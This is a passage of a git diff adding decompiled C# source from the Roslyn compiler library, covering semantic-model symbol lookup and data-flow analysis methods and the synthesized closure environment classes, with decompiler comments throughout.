GetDeclaredMember(container, declarationSpan, isKnownToBeANamespace); + } + return symbol2; + } + + public override ISymbol GetDeclaredSymbol(VariableDeclaratorSyntax declarationSyntax, CancellationToken cancellationToken = default(CancellationToken)) + { + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + //IL_0038: Unknown result type (might be due to invalid IL or missing references) + //IL_003d: Unknown result type (might be due to invalid IL or missing references) + CheckSyntaxNode(declarationSyntax); + BaseFieldDeclarationSyntax baseFieldDeclarationSyntax = ((declarationSyntax.Parent == null) ? null : (declarationSyntax.Parent.Parent as BaseFieldDeclarationSyntax)); + if (baseFieldDeclarationSyntax != null) + { + NamespaceOrTypeSymbol declaredTypeMemberContainer = GetDeclaredTypeMemberContainer(baseFieldDeclarationSyntax); + TextSpan span = ((SyntaxNode)declarationSyntax).Span; + SyntaxToken identifier = declarationSyntax.Identifier; + return GetDeclaredMember(declaredTypeMemberContainer, span, isKnownToBeANamespace: false, ((SyntaxToken)(ref identifier)).ValueText).GetPublicSymbol(); + } + return GetMemberModel((SyntaxNode)(object)declarationSyntax)?.GetDeclaredSymbol(declarationSyntax, cancellationToken); + } + + public override ISymbol GetDeclaredSymbol(SingleVariableDesignationSyntax declarationSyntax, CancellationToken cancellationToken = default(CancellationToken)) + { + ISymbol val = GetMemberModel((SyntaxNode)(object)declarationSyntax)?.GetDeclaredSymbol(declarationSyntax, cancellationToken); + if (val != null) + { + return val; + } + return (ISymbol)(object)GetEnclosingBinder(((SyntaxNode)declarationSyntax).Position)?.LookupDeclaredField(declarationSyntax).GetPublicSymbol(); + } + + internal override LocalSymbol GetAdjustedLocalSymbol(SourceLocalSymbol originalSymbol) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken identifierToken = originalSymbol.IdentifierToken; + int spanStart = ((SyntaxToken)(ref identifierToken)).SpanStart; + return GetMemberModel(spanStart)?.GetAdjustedLocalSymbol(originalSymbol) ?? originalSymbol; + } + + public override ILabelSymbol GetDeclaredSymbol(LabeledStatementSyntax declarationSyntax, CancellationToken cancellationToken = default(CancellationToken)) + { + CheckSyntaxNode(declarationSyntax); + return GetMemberModel((SyntaxNode)(object)declarationSyntax)?.GetDeclaredSymbol(declarationSyntax, cancellationToken); + } + + public override ILabelSymbol GetDeclaredSymbol(SwitchLabelSyntax declarationSyntax, CancellationToken cancellationToken = default(CancellationToken)) + { + CheckSyntaxNode(declarationSyntax); + return GetMemberModel((SyntaxNode)(object)declarationSyntax)?.GetDeclaredSymbol(declarationSyntax, cancellationToken); + } + + public override IAliasSymbol GetDeclaredSymbol(UsingDirectiveSyntax declarationSyntax, CancellationToken cancellationToken = default(CancellationToken)) + { + //IL_0052: Unknown result type (might be due to invalid IL or missing references) + //IL_0062: Unknown result type (might be due to invalid IL or missing references) + CheckSyntaxNode(declarationSyntax); + if (declarationSyntax.Alias == null) + { + return null; + } + for (Binder binder = _binderFactory.GetInNamespaceBinder(declarationSyntax.Parent); binder != null; binder = binder.Next) + { + ImmutableArray usingAliases = binder.UsingAliases; + if (!usingAliases.IsDefault) + { + ImmutableArray.Enumerator enumerator = usingAliases.GetEnumerator(); + while (enumerator.MoveNext()) + { + AliasAndUsingDirective current = enumerator.Current; + if (current.Alias.GetFirstLocation().SourceSpan == ((SyntaxNode)declarationSyntax.Alias.Name).Span) + { + return current.Alias.GetPublicSymbol(); + } + } + break; + } + } + return null; + } + + public override IAliasSymbol GetDeclaredSymbol(ExternAliasDirectiveSyntax declarationSyntax, CancellationToken cancellationToken = default(CancellationToken)) + { + //IL_0048: Unknown result type (might be due to invalid IL or missing references) + //IL_004e: Unknown result type (might be due to invalid IL or missing references) + //IL_0053: Unknown result type (might be due to invalid IL or missing references) + //IL_0057: Unknown result type (might be due to invalid IL or missing references) + CheckSyntaxNode(declarationSyntax); + for (Binder binder = _binderFactory.GetInNamespaceBinder(declarationSyntax.Parent); binder != null; binder = binder.Next) + { + ImmutableArray externAliases = binder.ExternAliases; + if (!externAliases.IsDefault) + { + ImmutableArray.Enumerator enumerator = externAliases.GetEnumerator(); + while (enumerator.MoveNext()) + { + AliasAndExternAliasDirective current = enumerator.Current; + TextSpan sourceSpan = current.Alias.GetFirstLocation().SourceSpan; + SyntaxToken identifier = declarationSyntax.Identifier; + if (sourceSpan == ((SyntaxToken)(ref identifier)).Span) + { + return current.Alias.GetPublicSymbol(); + } + } + break; + } + } + return null; + } + + internal override ImmutableArray GetDeclaredSymbols(BaseFieldDeclarationSyntax declarationSyntax, CancellationToken cancellationToken = default(CancellationToken)) + { + //IL_0013: Unknown result type (might be due to invalid IL or missing references) + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0020: Unknown result type (might be due to invalid IL or missing references) + CheckSyntaxNode(declarationSyntax); + ArrayBuilder val = new ArrayBuilder(); + Enumerator enumerator = declarationSyntax.Declaration.Variables.GetEnumerator(); + while (enumerator.MoveNext()) + { + VariableDeclaratorSyntax current = enumerator.Current; + ISymbol declaredSymbol = GetDeclaredSymbol(current, cancellationToken); + if (declaredSymbol != null) + { + val.Add(declaredSymbol); + } + } + return val.ToImmutableAndFree(); + } + + private ParameterSymbol GetMethodParameterSymbol(ParameterSyntax parameter, CancellationToken cancellationToken) + { + if (!(parameter.Parent is ParameterListSyntax parameterListSyntax)) + { + return null; + } + if (!(parameterListSyntax.Parent is MemberDeclarationSyntax memberDeclarationSyntax)) + { + return null; + } + MethodSymbol methodSymbol; + if (memberDeclarationSyntax is TypeDeclarationSyntax typeDeclarationSyntax && typeDeclarationSyntax.ParameterList == parameterListSyntax) + { + methodSymbol = TryGetSynthesizedPrimaryConstructor(typeDeclarationSyntax); + } + else + { + ISymbol declaredSymbol = GetDeclaredSymbol(memberDeclarationSyntax, cancellationToken); + methodSymbol = ((IMethodSymbol?)(object)((declaredSymbol is IMethodSymbol) ? declaredSymbol : null)).GetSymbol(); + } + if ((object)methodSymbol == null) + { + return null; + } + object obj = GetParameterSymbol(methodSymbol.Parameters, parameter, cancellationToken); + if (obj == null) + { + if ((object)methodSymbol.PartialDefinitionPart != null) + { + return GetParameterSymbol(methodSymbol.PartialDefinitionPart.Parameters, parameter, cancellationToken); + } + obj = null; + } + return (ParameterSymbol)obj; + } + + private ParameterSymbol GetIndexerParameterSymbol(ParameterSyntax parameter, CancellationToken cancellationToken) + { + if (!(parameter.Parent is BracketedParameterListSyntax bracketedParameterListSyntax)) + { + return null; + } + if (!(bracketedParameterListSyntax.Parent is MemberDeclarationSyntax declarationSyntax)) + { + return null; + } + ISymbol declaredSymbol = GetDeclaredSymbol(declarationSyntax, cancellationToken); + PropertySymbol symbol = ((IPropertySymbol?)(object)((declaredSymbol is IPropertySymbol) ? declaredSymbol : null)).GetSymbol(); + if ((object)symbol == null) + { + return null; + } + return GetParameterSymbol(symbol.Parameters, parameter, cancellationToken); + } + + private ParameterSymbol GetDelegateParameterSymbol(ParameterSyntax parameter, CancellationToken cancellationToken) + { + if (!(parameter.Parent is ParameterListSyntax parameterListSyntax)) + { + return null; + } + if (!(parameterListSyntax.Parent is DelegateDeclarationSyntax declarationSyntax)) + { + return null; + } + NamedTypeSymbol symbol = GetDeclaredSymbol(declarationSyntax, cancellationToken).GetSymbol(); + if ((object)symbol == null) + { + return null; + } + MethodSymbol delegateInvokeMethod = symbol.DelegateInvokeMethod; + if ((object)delegateInvokeMethod == null || delegateInvokeMethod.HasUseSiteError) + { + return null; + } + return GetParameterSymbol(delegateInvokeMethod.Parameters, parameter, cancellationToken); + } + + public override IParameterSymbol GetDeclaredSymbol(ParameterSyntax declarationSyntax, CancellationToken cancellationToken = default(CancellationToken)) + { + CheckSyntaxNode(declarationSyntax); + MemberSemanticModel memberModel = GetMemberModel((SyntaxNode)(object)declarationSyntax); + if (memberModel != null) + { + return memberModel.GetDeclaredSymbol(declarationSyntax, cancellationToken); + } + return GetDeclaredNonLambdaParameterSymbol(declarationSyntax, cancellationToken).GetPublicSymbol(); + } + + private ParameterSymbol GetDeclaredNonLambdaParameterSymbol(ParameterSyntax declarationSyntax, CancellationToken cancellationToken = default(CancellationToken)) + { + return GetMethodParameterSymbol(declarationSyntax, cancellationToken) ?? GetIndexerParameterSymbol(declarationSyntax, cancellationToken) ?? GetDelegateParameterSymbol(declarationSyntax, cancellationToken); + } + + public override ITypeParameterSymbol GetDeclaredSymbol(TypeParameterSyntax typeParameter, CancellationToken cancellationToken = default(CancellationToken)) + { + if (typeParameter == null) + { + throw new ArgumentNullException("typeParameter"); + } + if (!IsInTree((SyntaxNode)(object)typeParameter)) + { + throw new ArgumentException("typeParameter not within tree"); + } + if (typeParameter.Parent is TypeParameterListSyntax typeParameterListSyntax) + { + ISymbol val = null; + CSharpSyntaxNode parent = typeParameterListSyntax.Parent; + if (!(parent is MemberDeclarationSyntax declarationSyntax)) + { + if (!(parent is LocalFunctionStatementSyntax declarationSyntax2)) + { + throw ExceptionUtilities.UnexpectedValue((object)typeParameter.Parent.Kind()); + } + val = GetDeclaredSymbol(declarationSyntax2, cancellationToken); + } + else + { + val = GetDeclaredSymbol(declarationSyntax, cancellationToken); + } + Symbol symbol = val.GetSymbol(); + if (symbol is NamedTypeSymbol namedTypeSymbol) + { + return GetTypeParameterSymbol(namedTypeSymbol.TypeParameters, typeParameter).GetPublicSymbol(); + } + if (symbol is MethodSymbol methodSymbol) + { + return (GetTypeParameterSymbol(methodSymbol.TypeParameters, typeParameter) ?? (((object)methodSymbol.PartialDefinitionPart == null) ? null : GetTypeParameterSymbol(methodSymbol.PartialDefinitionPart.TypeParameters, typeParameter))).GetPublicSymbol(); + } + } + return null; + } + + private TypeParameterSymbol GetTypeParameterSymbol(ImmutableArray parameters, TypeParameterSyntax parameter) + { + //IL_003c: Unknown result type (might be due to invalid IL or missing references) + //IL_0041: Unknown result type (might be due to invalid IL or missing references) + //IL_0047: Unknown result type (might be due to invalid IL or missing references) + ImmutableArray.Enumerator enumerator = parameters.GetEnumerator(); + while (enumerator.MoveNext()) + { + TypeParameterSymbol current = enumerator.Current; + ImmutableArray.Enumerator enumerator2 = current.Locations.GetEnumerator(); + while (enumerator2.MoveNext()) + { + Location current2 = enumerator2.Current; + if (current2.SourceTree == SyntaxTree) + { + TextSpan span = ((SyntaxNode)parameter).Span; + if (((TextSpan)(ref span)).Contains(current2.SourceSpan)) + { + return current; + } + } + } + } + return null; + } + + public override ControlFlowAnalysis AnalyzeControlFlow(StatementSyntax firstStatement, StatementSyntax lastStatement) + { + ValidateStatementRange(firstStatement, lastStatement); + return (ControlFlowAnalysis)(object)new CSharpControlFlowAnalysis(RegionAnalysisContext(firstStatement, lastStatement)); + } + + private void ValidateStatementRange(StatementSyntax firstStatement, StatementSyntax lastStatement) + { + if (firstStatement == null) + { + throw new ArgumentNullException("firstStatement"); + } + if (lastStatement == null) + { + throw new ArgumentNullException("lastStatement"); + } + if (!IsInTree((SyntaxNode)(object)firstStatement)) + { + throw new ArgumentException("statements not within tree"); + } + bool num = firstStatement.Parent is GlobalStatementSyntax; + if (num && (!(lastStatement.Parent is GlobalStatementSyntax) || firstStatement.Parent.Parent != lastStatement.Parent.Parent)) + { + throw new ArgumentException("global statements not within the same compilation unit"); + } + if (!num && (firstStatement.Parent == null || firstStatement.Parent != lastStatement.Parent)) + { + throw new ArgumentException("statements not within the same statement list"); + } + if (((SyntaxNode)firstStatement).SpanStart > ((SyntaxNode)lastStatement).SpanStart) + { + throw new ArgumentException("first statement does not precede last statement"); + } + } + + public override DataFlowAnalysis AnalyzeDataFlow(ExpressionSyntax expression) + { + if (expression == null) + { + throw new ArgumentNullException("expression"); + } + if (!IsInTree((SyntaxNode)(object)expression)) + { + throw new ArgumentException("expression not within tree"); + } + return (DataFlowAnalysis)(object)new CSharpDataFlowAnalysis(RegionAnalysisContext(expression)); + } + + public override DataFlowAnalysis AnalyzeDataFlow(ConstructorInitializerSyntax constructorInitializer) + { + if (constructorInitializer == null) + { + throw new ArgumentNullException("constructorInitializer"); + } + if (!IsInTree((SyntaxNode)(object)constructorInitializer)) + { + throw new ArgumentException("node not within tree"); + } + return (DataFlowAnalysis)(object)new CSharpDataFlowAnalysis(RegionAnalysisContext(constructorInitializer)); + } + + public override DataFlowAnalysis AnalyzeDataFlow(PrimaryConstructorBaseTypeSyntax primaryConstructorBaseType) + { + if (primaryConstructorBaseType == null) + { + throw new ArgumentNullException("primaryConstructorBaseType"); + } + if (!IsInTree((SyntaxNode)(object)primaryConstructorBaseType)) + { + throw new ArgumentException("node not within tree"); + } + return (DataFlowAnalysis)(object)new CSharpDataFlowAnalysis(RegionAnalysisContext(primaryConstructorBaseType)); + } + + public override DataFlowAnalysis AnalyzeDataFlow(StatementSyntax firstStatement, StatementSyntax lastStatement) + { + ValidateStatementRange(firstStatement, lastStatement); + return (DataFlowAnalysis)(object)new CSharpDataFlowAnalysis(RegionAnalysisContext(firstStatement, lastStatement)); + } + + private static BoundNode GetBoundRoot(MemberSemanticModel memberModel, out Symbol member) + { + member = memberModel.MemberSymbol; + return memberModel.GetBoundRoot(); + } + + private NamespaceOrTypeSymbol GetDeclaredTypeMemberContainer(CSharpSyntaxNode memberDeclaration) + { + //IL_0051: Unknown result type (might be due to invalid IL or missing references) + SyntaxKind syntaxKind; + if (memberDeclaration.Parent.Kind() == SyntaxKind.CompilationUnit) + { + syntaxKind = memberDeclaration.Kind(); + if ((syntaxKind == SyntaxKind.NamespaceDeclaration || syntaxKind == SyntaxKind.FileScopedNamespaceDeclaration) ? true : false) + { + return _compilation.Assembly.GlobalNamespace; + } + if ((int)SyntaxTree.Options.Kind != 0) + { + return Compilation.ScriptClass; + } + if (SyntaxFacts.IsTypeDeclaration(memberDeclaration.Kind())) + { + return _compilation.Assembly.GlobalNamespace; + } + return _compilation.Assembly.GlobalNamespace.ImplicitType; + } + NamespaceOrTypeSymbol declaredNamespaceOrType = GetDeclaredNamespaceOrType(memberDeclaration.Parent); + if (!declaredNamespaceOrType.IsNamespace) + { + return declaredNamespaceOrType; + } + syntaxKind = memberDeclaration.Kind(); + bool flag = ((syntaxKind == SyntaxKind.NamespaceDeclaration || syntaxKind == SyntaxKind.FileScopedNamespaceDeclaration) ? true : false); + if (flag || SyntaxFacts.IsTypeDeclaration(memberDeclaration.Kind())) + { + return declaredNamespaceOrType; + } + return ((NamespaceSymbol)declaredNamespaceOrType).ImplicitType; + } + + private Symbol GetDeclaredMemberSymbol(CSharpSyntaxNode declarationSyntax) + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + CheckSyntaxNode(declarationSyntax); + NamespaceOrTypeSymbol declaredTypeMemberContainer = GetDeclaredTypeMemberContainer(declarationSyntax); + string declarationName = GetDeclarationName(declarationSyntax); + return GetDeclaredMember(declaredTypeMemberContainer, ((SyntaxNode)declarationSyntax).Span, isKnownToBeANamespace: false, declarationName); + } + + public override AwaitExpressionInfo GetAwaitExpressionInfo(AwaitExpressionSyntax node) + { + return GetMemberModel((SyntaxNode)(object)node)?.GetAwaitExpressionInfo(node) ?? default(AwaitExpressionInfo); + } + + public override ForEachStatementInfo GetForEachStatementInfo(ForEachStatementSyntax node) + { + return GetMemberModel((SyntaxNode)(object)node)?.GetForEachStatementInfo(node) ?? default(ForEachStatementInfo); + } + + public override ForEachStatementInfo GetForEachStatementInfo(CommonForEachStatementSyntax node) + { + return GetMemberModel((SyntaxNode)(object)node)?.GetForEachStatementInfo(node) ?? default(ForEachStatementInfo); + } + + public override DeconstructionInfo GetDeconstructionInfo(AssignmentExpressionSyntax node) + { + return GetMemberModel((SyntaxNode)(object)node)?.GetDeconstructionInfo(node) ?? default(DeconstructionInfo); + } + + public override DeconstructionInfo GetDeconstructionInfo(ForEachVariableStatementSyntax node) + { + return GetMemberModel((SyntaxNode)(object)node)?.GetDeconstructionInfo(node) ?? default(DeconstructionInfo); + } + + internal override Symbol RemapSymbolIfNecessaryCore(Symbol symbol) + { + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + Location val = symbol.TryGetFirstLocation(); + if (val == null) + { + return symbol; + } + if (val.SourceTree != SyntaxTree) + { + return symbol; + } + TextSpan sourceSpan = val.SourceSpan; + int position = CheckAndAdjustPosition(((TextSpan)(ref sourceSpan)).Start); + return GetMemberModel(position)?.RemapSymbolIfNecessaryCore(symbol) ?? symbol; + } + + internal override Func GetSyntaxNodesToAnalyzeFilter(SyntaxNode declaredNode, ISymbol declaredSymbol) + { + //IL_00a7: Unknown result type (might be due to invalid IL or missing references) + //IL_00ac: Unknown result type (might be due to invalid IL or missing references) + //IL_00ae: Unknown result type (might be due to invalid IL or missing references) + //IL_00b2: Unknown result type (might be due to invalid IL or missing references) + //IL_00c8: Expected I4, but got Unknown + //IL_0105: Unknown result type (might be due to invalid IL or missing references) + //IL_020d: Unknown result type (might be due to invalid IL or missing references) + //IL_0214: Invalid comparison between Unknown and I4 + //IL_019d: Unknown result type (might be due to invalid IL or missing references) + //IL_01a2: Unknown result type (might be due to invalid IL or missing references) + //IL_01a4: Unknown result type (might be due to invalid IL or missing references) + //IL_01a8: Invalid comparison between Unknown and I4 + //IL_0157: Unknown result type (might be due to invalid IL or missing references) + //IL_015c: Unknown result type (might be due to invalid IL or missing references) + //IL_015e: Unknown result type (might be due to invalid IL or missing references) + //IL_0162: Invalid comparison between Unknown and I4 + //IL_01aa: Unknown result type (might be due to invalid IL or missing references) + //IL_01ae: Invalid comparison between Unknown and I4 + //IL_0164: Unknown result type (might be due to invalid IL or missing references) + //IL_0168: Invalid comparison between Unknown and I4 + //IL_01cd: Unknown result type (might be due to invalid IL or missing references) + //IL_0187: Unknown result type (might be due to invalid IL or missing references) + CompilationUnitSyntax compilationUnitSyntax = declaredNode as CompilationUnitSyntax; + if (compilationUnitSyntax == null) + { + TypeDeclarationSyntax typeDeclarationSyntax = declaredNode as TypeDeclarationSyntax; + if (typeDeclarationSyntax == null) + { + PrimaryConstructorBaseTypeSyntax primaryConstructorBaseTypeSyntax = declaredNode as PrimaryConstructorBaseTypeSyntax; + if (primaryConstructorBaseTypeSyntax != null) + { + CSharpSyntaxNode parent = primaryConstructorBaseTypeSyntax.Parent; + if (parent is BaseListSyntax && parent.Parent is TypeDeclarationSyntax typeDeclarationSyntax2 && (object)typeDeclarationSyntax2.PrimaryConstructorBaseTypeIfClass == declaredNode) + { + SynthesizedPrimaryConstructor synthesizedPrimaryConstructor = TryGetSynthesizedPrimaryConstructor(typeDeclarationSyntax2); + if ((object)synthesizedPrimaryConstructor != null && (object)declaredSymbol.GetSymbol() == synthesizedPrimaryConstructor) + { + return (SyntaxNode node) => (object)node != primaryConstructorBaseTypeSyntax.Type; + } + } + } + else if (declaredNode is ParameterSyntax parameterSyntax && (int)declaredSymbol.Kind == 15 && parameterSyntax.Parent?.Parent is RecordDeclarationSyntax recordDeclarationSyntax && recordDeclarationSyntax.ParameterList == parameterSyntax.Parent) + { + return (SyntaxNode node) => false; + } + } + else if ((object)TryGetSynthesizedPrimaryConstructor(typeDeclarationSyntax) != null) + { + SyntaxKind syntaxKind = typeDeclarationSyntax.Kind(); + if ((syntaxKind == SyntaxKind.ClassDeclaration || syntaxKind == SyntaxKind.RecordDeclaration) ? true : false) + { + SymbolKind kind = declaredSymbol.Kind; + if ((int)kind == 9) + { + return delegate(SyntaxNode node) + { + if ((object)node.Parent == typeDeclarationSyntax) + { + if ((object)node != typeDeclarationSyntax.ParameterList) + { + return (object)node == typeDeclarationSyntax.BaseList; + } + return true; + } + if (node.Parent is BaseListSyntax) + { + return (object)node == typeDeclarationSyntax.PrimaryConstructorBaseTypeIfClass; + } + return !(node.Parent is PrimaryConstructorBaseTypeSyntax primaryConstructorBaseTypeSyntax2) || primaryConstructorBaseTypeSyntax2 != typeDeclarationSyntax.PrimaryConstructorBaseTypeIfClass || (object)node == primaryConstructorBaseTypeSyntax2.ArgumentList; + }; + } + if ((int)kind == 11) + { + return (SyntaxNode node) => (object)node != typeDeclarationSyntax.ParameterList && (node.Kind() != SyntaxKind.ArgumentList || (object)node != typeDeclarationSyntax.PrimaryConstructorBaseTypeIfClass?.ArgumentList); + } + ExceptionUtilities.UnexpectedValue((object)declaredSymbol.Kind); + } + else + { + SymbolKind kind = declaredSymbol.Kind; + if ((int)kind == 9) + { + return (SyntaxNode node) => (object)node.Parent != typeDeclarationSyntax || (object)node == typeDeclarationSyntax.ParameterList; + } + if ((int)kind == 11) + { + return (SyntaxNode node) => (object)node != typeDeclarationSyntax.ParameterList; + } + ExceptionUtilities.UnexpectedValue((object)declaredSymbol.Kind); + } + } + } + else if ((object)SynthesizedSimpleProgramEntryPointSymbol.GetSimpleProgramEntryPoint(Compilation, compilationUnitSyntax, fallbackToMainEntryPoint: false) != null) + { + SymbolKind kind = declaredSymbol.Kind; + switch (kind - 9) + { + case 3: + return (SyntaxNode node) => node.Kind() != SyntaxKind.GlobalStatement || (object)node.Parent != compilationUnitSyntax; + case 0: + return (SyntaxNode node) => (object)node.Parent != compilationUnitSyntax || node.Kind() == SyntaxKind.GlobalStatement; + case 2: + return (SyntaxNode node) => false; + } + ExceptionUtilities.UnexpectedValue((object)declaredSymbol.Kind); + } + return null; + } + + internal override bool ShouldSkipSyntaxNodeAnalysis(SyntaxNode node, ISymbol containingSymbol) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Invalid comparison between Unknown and I4 + if ((int)containingSymbol.Kind == 9) + { + if (node is TypeDeclarationSyntax) + { + return true; + } + if (node is CompilationUnitSyntax) + { + return true; + } + } + return false; + } + + private RegionAnalysisContext RegionAnalysisContext(ExpressionSyntax expression) + { + while (expression.Kind() == SyntaxKind.ParenthesizedExpression) + { + expression = ((ParenthesizedExpressionSyntax)expression).Expression; + } + return RegionAnalysisContext((CSharpSyntaxNode)expression); + } + + private RegionAnalysisContext RegionAnalysisContext(CSharpSyntaxNode expression) + { + MemberSemanticModel memberModel = GetMemberModel((SyntaxNode)(object)expression); + if (memberModel == null) + { + BoundBadStatement boundBadStatement = new BoundBadStatement((SyntaxNode)(object)expression, ImmutableArray.Empty, hasErrors: true); + return new RegionAnalysisContext(Compilation, null, boundBadStatement, boundBadStatement, boundBadStatement); + } + Symbol member; + BoundNode boundRoot = GetBoundRoot(memberModel, out member); + BoundNode upperBoundNode = memberModel.GetUpperBoundNode(expression, promoteToBindable: true); + BoundNode lastInRegion = upperBoundNode; + return new RegionAnalysisContext(Compilation, member, boundRoot, upperBoundNode, lastInRegion); + } + + private RegionAnalysisContext RegionAnalysisContext(StatementSyntax firstStatement, StatementSyntax lastStatement) + { + MemberSemanticModel memberModel = GetMemberModel((SyntaxNode)(object)firstStatement); + if (memberModel == null) + { + BoundBadStatement boundBadStatement = new BoundBadStatement((SyntaxNode)(object)firstStatement, ImmutableArray.Empty, hasErrors: true); + return new RegionAnalysisContext(Compilation, null, boundBadStatement, boundBadStatement, boundBadStatement); + } + Symbol member; + BoundNode boundRoot = GetBoundRoot(memberModel, out member); + BoundNode upperBoundNode = memberModel.GetUpperBoundNode(firstStatement, promoteToBindable: true); + BoundNode upperBoundNode2 = memberModel.GetUpperBoundNode(lastStatement, promoteToBindable: true); + return new RegionAnalysisContext(Compilation, member, boundRoot, upperBoundNode, upperBoundNode2); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/SynthesizedClosureEnvironment.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/SynthesizedClosureEnvironment.cs new file mode 100644 index 0000000..0d06db1 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/SynthesizedClosureEnvironment.cs @@ -0,0 +1,129 @@ +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Diagnostics; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.CodeGen; +using Microsoft.CodeAnalysis.PooledObjects; +using Microsoft.CodeAnalysis.Symbols; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class SynthesizedClosureEnvironment : SynthesizedContainer, ISynthesizedMethodBodyImplementationSymbol, ISymbolInternal +{ + private readonly MethodSymbol _topLevelMethod; + + internal readonly SyntaxNode ScopeSyntaxOpt; + + internal readonly int ClosureOrdinal; + + internal readonly MethodSymbol OriginalContainingMethodOpt; + + internal readonly FieldSymbol SingletonCache; + + internal readonly MethodSymbol StaticConstructor; + + private ArrayBuilder _membersBuilder = ArrayBuilder.GetInstance(); + + private ImmutableArray _members; + + public override TypeKind TypeKind { get; } + + internal override MethodSymbol Constructor { get; } + + public override bool IsSerializable => (object)SingletonCache != null; + + public override Symbol ContainingSymbol => _topLevelMethod.ContainingSymbol; + + public sealed override bool AreLocalsZeroed => true; + + bool ISynthesizedMethodBodyImplementationSymbol.HasMethodBodyDependency => true; + + IMethodSymbolInternal ISynthesizedMethodBodyImplementationSymbol.Method => (IMethodSymbolInternal)(object)_topLevelMethod; + + internal override bool IsRecord => false; + + internal override bool IsRecordStruct => false; + + internal SynthesizedClosureEnvironment(MethodSymbol topLevelMethod, MethodSymbol containingMethod, bool isStruct, SyntaxNode scopeSyntaxOpt, DebugId methodId, DebugId closureId) + : base(MakeName(scopeSyntaxOpt, methodId, closureId), containingMethod) + { + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_004c: Unknown result type (might be due to invalid IL or missing references) + TypeKind = (TypeKind)(isStruct ? 10 : 2); + _topLevelMethod = topLevelMethod; + OriginalContainingMethodOpt = containingMethod; + Constructor = (isStruct ? null : new SynthesizedClosureEnvironmentConstructor(this)); + ClosureOrdinal = closureId.Ordinal; + if (scopeSyntaxOpt == null) + { + StaticConstructor = new SynthesizedStaticConstructor(this); + string name = GeneratedNames.MakeCachedFrameInstanceFieldName(); + SingletonCache = new SynthesizedLambdaCacheFieldSymbol(this, this, name, topLevelMethod, isReadOnly: true, isStatic: true); + } + ScopeSyntaxOpt = scopeSyntaxOpt; + } + + internal void AddHoistedField(LambdaCapturedVariable captured) + { + _membersBuilder.Add((Symbol)captured); + } + + private static string MakeName(SyntaxNode scopeSyntaxOpt, DebugId methodId, DebugId closureId) + { + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0027: Unknown result type (might be due to invalid IL or missing references) + //IL_0003: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + if (scopeSyntaxOpt == null) + { + return GeneratedNames.MakeStaticLambdaDisplayClassName(methodId.Ordinal, methodId.Generation); + } + return GeneratedNames.MakeLambdaDisplayClassName(methodId.Ordinal, methodId.Generation, closureId.Ordinal, closureId.Generation); + } + + [Conditional("DEBUG")] + private static void AssertIsClosureScopeSyntax(SyntaxNode syntaxOpt) + { + if (syntaxOpt == null || LambdaUtilities.IsClosureScope(syntaxOpt)) + { + return; + } + throw ExceptionUtilities.UnexpectedValue((object)syntaxOpt.Kind()); + } + + public override ImmutableArray GetMembers() + { + if (_members.IsDefault) + { + ArrayBuilder membersBuilder = _membersBuilder; + if ((object)StaticConstructor != null) + { + membersBuilder.Add((Symbol)StaticConstructor); + membersBuilder.Add((Symbol)SingletonCache); + } + membersBuilder.AddRange(base.GetMembers()); + _members = membersBuilder.ToImmutableAndFree(); + _membersBuilder = null; + } + return _members; + } + + internal override IEnumerable GetFieldsToEmit() + { + if ((object)SingletonCache == null) + { + return SpecializedCollections.EmptyEnumerable(); + } + return SpecializedCollections.SingletonEnumerable(SingletonCache); + } + + internal override bool HasPossibleWellKnownCloneMethod() + { + return false; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/SynthesizedClosureEnvironmentConstructor.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/SynthesizedClosureEnvironmentConstructor.cs new file mode 100644 index 0000000..260fd8c --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/SynthesizedClosureEnvironmentConstructor.cs @@ -0,0 +1,16 @@ +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.Symbols; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class SynthesizedClosureEnvironmentConstructor : SynthesizedInstanceConstructor, ISynthesizedMethodBodyImplementationSymbol, ISymbolInternal +{ + IMethodSymbolInternal ISynthesizedMethodBodyImplementationSymbol.Method => ((ISynthesizedMethodBodyImplementationSymbol)ContainingSymbol).Method; + + bool ISynthesizedMethodBodyImplementationSymbol.HasMethodBodyDependency => false; + + internal SynthesizedClosureEnvironmentConstructor(SynthesizedClosureEnvironment frame) + : base(frame) + { + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/SynthesizedClosureMethod.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/SynthesizedClosureMethod.cs new file mode 100644 index 0000000..04362a0 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/SynthesizedClosureMethod.cs @@ -0,0 +1,188 @@ +using System.Collections.Immutable; +using Microsoft.CodeAnalysis.CSharp.Emit; +using Microsoft.CodeAnalysis.CSharp.Emit.NoPia; +using 